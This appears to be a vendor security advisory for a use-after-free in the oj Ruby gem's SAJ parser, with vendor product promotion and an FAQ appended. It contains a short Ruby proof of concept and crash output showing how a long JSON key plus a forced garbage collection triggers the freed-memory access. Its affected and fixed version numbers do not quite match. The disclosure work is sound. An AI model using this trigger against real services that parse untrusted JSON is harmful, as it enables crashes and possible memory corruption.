Summary
Oj: Use-After-Free in Oj::Parser SAJ Long Key Callback
Oj::Parser in SAJ mode does not protect cached object keys (≥ 35 bytes) from garbage collection. A Ruby callback that triggers GC inside hash_end can cause the key string to be reclaimed while the C parser still holds a pointer to it. The subsequent access to the freed string VALUE results in a segfault, confirmed by an RIP pointing to address 0x4242 (a canary-style pattern suggesting control over the freed memory's content).
Version
- Software: oj gem
- Affected: all versions with
ext/oj/saj2.c/ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)
Details
Short keys (≤ 34 bytes) are stored inline on the C stack and are safe. Long keys (≥ 35 bytes) are stored as heap-allocated Ruby String objects passed to rb_funcall as the key argument. Between the key being resolved and the callback completing, a GC triggered inside the callback (e.g. GC.start) can collect the key String, leaving a dangling VALUE.
Crash output:
long_key_trigger
[BUG] Segmentation fault at 0x0000000000004242
close_object+0x260 /ext/oj/usual.c:405 (calls rb_funcall with freed key)
parse+0x11ff /ext/oj/parser.c:693
parser_parse+0x145 /ext/oj/parser.c:1408
RIP: 0x7fd1b46d68b7 RDI: 0x0000000000004242 (freed key VALUE)
R12: 0x0000000000004242
The freed VALUE 0x4242 shows the attacker-controlled content of the key string was loaded as a pointer, a classic use-after-free indicator.
Reproduce
require 'oj'
class H < Oj::Saj
def add_value(value, key)
GC.start(full_mark: true, immediate_sweep: true) if key == 'x'
end
def hash_start(key); end
def hash_end(key); end
end
p = Oj::Parser.new(:saj)
p.handler = H.new
p.parse('{"' + 'A' * 35 + '":{"x":1}}') # long outer key, GC fires on inner key
Impact
Memory is accessed after it has been freed, leading to undefined behavior in native code. Typical impact: memory corruption, crash, or potential code execution.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54902? CVE-2026-54902 is a high-severity use after free vulnerability in oj (rubygems), affecting versions < 3.17.2. It is fixed in 3.17.3. Memory is accessed after it has been freed, leading to undefined behavior in native code.
- Which versions of oj are affected by CVE-2026-54902? oj (rubygems) versions < 3.17.2 is affected.
- Is there a fix for CVE-2026-54902? Yes. CVE-2026-54902 is fixed in 3.17.3. Upgrade to this version or later.
- Is CVE-2026-54902 exploitable, and should I be worried? Whether CVE-2026-54902 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54902 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54902? Upgrade
ojto 3.17.3 or later.